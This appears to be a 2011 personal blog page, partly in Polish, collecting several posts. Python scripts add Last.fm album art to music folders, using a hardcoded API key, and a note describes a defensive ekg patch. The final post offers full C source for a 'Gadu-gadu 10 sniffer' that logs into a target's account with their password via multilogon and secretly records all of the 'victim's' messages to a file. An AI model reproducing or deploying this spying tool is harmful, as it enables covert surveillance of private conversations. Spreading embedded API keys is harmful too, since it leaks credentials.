Album art adder II
September 25th, 2011
After a couple of hours wasting my time, and then finding out the documentation for os.walk is ‘a little’ incomplete, here’s an improved version:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from mutagen.flac import FLAC
from mutagen.mp3 import MP3
from mutagen.id3 import ID3, APIC, error
from mutagen.easyid3 import EasyID3
import urllib2,urllib, os, sys
from xml.dom import minidom
mainenc = sys.getdefaultencoding()
def getImage(artist,track):
try:
req = urllib2.Request(url='http://ws.audioscrobbler.com/2.0/?',
data=urllib.urlencode({
'method':'track.getinfo',
'api_key':'b25b959554ed76058ac220b7b2e0a026',
'artist':(artist).encode('utf-8'),
'track':(track).encode('utf-8'),
'autocorrect':1
}))
f = urllib2.urlopen(req)
xml = f.read()
except:
print "Failed @ %s - %s" % (artist.encode(mainenc,'ignore'),track.encode(mainenc,'ignore'))
return None
nodes = minidom.parseString(xml).childNodes
try:
url = nodes[0].getElementsByTagName('image')[-1].childNodes[0].toxml()
except Exception, e:
print "Nothing found for %s" % track.encode(mainenc,'ignore')
return None
req = urllib2.Request(url=url)
u = urllib2.urlopen(req)
return u
folder = unicode(raw_input("Podaj swoj folder muzyki (np. D:\muzyka):\n"))
for root, dirs, files in os.walk(folder):
print root.encode(mainenc,'ignore')
for i in files:
if 'folder.jpg' in files or 'Folder.jpg' in files:
if os.path.getsize(root+"\\"+'folder.jpg') > 0:
break
ext = i.split('.')[-1].lower()
if ext in ['flac','mp3']:
try:
if ext == 'flac':
audio = FLAC(root+"\\"+i)
elif ext == 'mp3':
audio = MP3(root+"\\"+i,ID3=EasyID3)
except Exception, e:
print e
continue
if audio:
img = getImage(audio['artist'][0],audio['title'][0])
if img is not None:
print "Writing to %s" % root.encode(mainenc,'ignore')
f= open(root+'\\folder.jpg','wb')
f.write(img.read())
f.close()
break
print "Done"
Mały patch dla ekg – multilogowanie
August 26th, 2011
Jedna rzecz która mnie ostatnio wkurzyła: ekg ani nie informuje o innych klientach, ani nie reaguje gdy coś piszą. W efekcie ktoś mógłby śledzić moje rozmowy bez mojej wiedzy (vel gg sniffer wcześniej). Stworzyłem małą łatkę by temu przeciwdziałać. Ma stosunkowo prosty cel: rozłączać wszystkich obcych klientów.
Album art adder
August 20th, 2011
Minor script to add album arts to your folders, assuming you have your music organized into albums. Supports mp3 and FLAC files:
from mutagen.flac import FLAC
from mutagen.mp3 import MP3
from mutagen.id3 import ID3, APIC, error
from mutagen.easyid3 import EasyID3
import urllib2,urllib, os
from xml.dom import minidom
def getImage(artist,track):
req = urllib2.Request(url='http://ws.audioscrobbler.com/2.0/?',
data=urllib.urlencode({
'method':'track.getinfo',
'api_key':'b25b959554ed76058ac220b7b2e0a026',
'artist':audio["artist"][0],
'track':audio["title"][0]
}))
f = urllib2.urlopen(req)
xml = f.read()
try:
nodes = minidom.parseString(xml).childNodes
url = nodes[0].getElementsByTagName('image')[-1].childNodes[0].toxml()
req = urllib2.Request(url=url)
u = urllib2.urlopen(req)
return u
except:
return None
for root, dirs, files in os.walk('D:\\muzyka'):
print root
for i in files:
if 'folder.jpg' in files or 'Folder.jpg' in files:
if os.path.getsize(root+"\\"+'folder.jpg') > 0:
break
ext = i.split('.')[-1].lower()
if ext in ['flac','mp3']:
try:
if ext == 'flac':
audio = FLAC(root+"\\"+i)
elif ext == 'mp3':
audio = MP3(root+"\\"+i,ID3=EasyID3)
except:
continue
if audio:
img = getImage(audio['artist'][0],audio['title'][0])
if img is not None:
print "Writing to %s" % root
f= open(root+'\\folder.jpg','wb')
f.write(getImage(audio['artist'][0],audio['title'][0]).read())
f.close()
break
print "Done"
Albumarts are downloaded from last.fm
iPhone ringtone converter
July 9th, 2011
Seeing as the iPhone doesn’t support any human audio codecs for ringtones (mp3,aac,flac), I had to figure out a way to convert everything to m4r (or caf for SMS tones). Now googling for “iPhone ringtone coverter” yields tons of crap and one useful site – mp3-to-m4r.net. Or to be more precise, it used to be useful, because it was closed down due to a lawsuit. Great.
So I created my own tool – couple of hours of playing with uploadify, ffmpeg and it’s done.
Gadu-gadu 10 sniffer
May 20th, 2011
Skoro mamy już multilogowanie, to aż się prosi by z niego skorzystać… I tak oto, sniffer do najnowszego gadu-gadu; potrzebujemy wprawdzie aż (a może tylko?) hasło do konta celu, ale za to mamy pełny dostęp do wszystkich (w tym szyfrowanych) rozmów ofiary.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <inttypes.h>
#include "libgadu.h"
void logme(char* what){
FILE *log = 0;
log = fopen("logfile.txt", "at");
if (!log) log = fopen("logfile.txt", "wt");
if (!log) {
printf("can not open logfile.txt for writing.\n");
return; // bail out if we can't log
}
fprintf(log,"%s", what);
fclose(log);
}
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
char buffer[2000];
gg_debug_level = 0;
memset(&p, 0, sizeof(p));
p.uin = 1234567; //Uzupelnij
p.password = "haslo"; //Uzupelnij
p.protocol_features = GG_FEATURE_ALL | GG_FEATURE_MULTILOGON;
p.status = 0x0400;
if (!(sess = gg_login(&p))) {
printf("Nie udalo sie polaczyc: %s\n", strerror(errno));
gg_free_session(sess);
return 1;
}
printf("Polaczono.\n");
if (gg_notify(sess, NULL, 0) == -1) { // Zmiany statusow *w sumie* nas nie interesuja
printf("Polaczenie przerwane: %s\n", strerror(errno));
gg_free_session(sess);
return 1;
}
while (1) {
if (!(e = gg_watch_fd(sess))) {
printf("Polaczenie przerwane: %s\n", strerror(errno));
gg_logoff(sess);
gg_free_session(sess);
return 1;
}
if (e->type == GG_EVENT_ACK) {
printf("Wyslano.\n");
//break;
}else if(e->type == GG_EVENT_MSG){
printf("Wiadomosc odebrana:%s \n",e->event.msg.message);
sprintf(buffer, "<-:%"PRIu32":%s\n",e->event.msg.sender, e->event.msg.message);
logme(buffer);
}else if(e->type == GG_EVENT_MULTILOGON_MSG){
printf("Wiadomosc wyslana z innego klienta:%s \n",e->event.msg.message);
sprintf(buffer, "->:%"PRIu32":%s\n",e->event.msg.sender, e->event.msg.message);
logme(buffer);
}
gg_free_event(e);
}
gg_logoff(sess);
gg_free_session(sess);
return 0;
}